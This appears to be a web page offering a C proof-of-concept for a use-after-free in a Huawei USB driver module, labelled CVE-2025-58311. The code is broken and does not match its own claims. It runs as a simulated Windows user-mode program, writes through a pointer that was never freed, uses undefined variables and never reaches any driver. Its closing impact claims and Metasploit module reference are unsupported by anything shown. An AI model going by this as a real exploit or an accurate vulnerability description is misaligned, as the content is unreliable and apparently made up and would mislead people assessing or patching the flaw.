华为设备USB驱动模块UAF漏洞 (CVE-2025-58311)

// CVE-2025-58311 PoC - USB Driver UAF Trigger // This PoC demonstrates the UAF vulnerability in USB driver module // Note: This is for educational and testing purposes only #include <windows.h> #include <stdio.h> #include <usb.h> // Simulated vulnerable USB driver structure typedef struct { PVOID pDeviceContext; DWORD dwDeviceState; PVOID pNextDescriptor; } USB_DEVICE_CONTEXT, *PUSB_DEVICE_CONTEXT; // Vulnerable function - UAF occurs when accessing freed memory void TriggerUAF(PUSB_DEVICE_CONTEXT pContext) { // Free the device context if (pContext->pDeviceContext) { LocalFree(pContext->pDeviceContext); pContext->pDeviceContext = NULL; // Should be set, but may not be } // Later access to freed memory - UAF vulnerability // Attacker can control the reallocated memory if (pContext->pNextDescriptor != NULL) { // Accessing potentially freed memory memcpy(pContext->pNextDescriptor, attacker_data, data_size); } } int main() { printf("CVE-2025-58311 USB Driver UAF PoC\n"); printf("Target: Huawei devices with vulnerable USB driver\n"); // Initialize USB device context PUSB_DEVICE_CONTEXT pContext = (PUSB_DEVICE_CONTEXT) LocalAlloc(LPTR, sizeof(USB_DEVICE_CONTEXT)); pContext->pDeviceContext = LocalAlloc(LPTR, 0x1000); pContext->dwDeviceState = DEVICE_STATE_CONNECTED; // Trigger device disconnect sequence printf("Simulating USB device disconnect...\n"); TriggerUAF(pContext); printf("UAF vulnerability triggered\n"); printf("Impact: Availability and Confidentiality compromise\n"); return 0; } // Metasploit module reference: // modules/exploits/windows/local/huawei_usb_uaf_cve_2025_58311.rb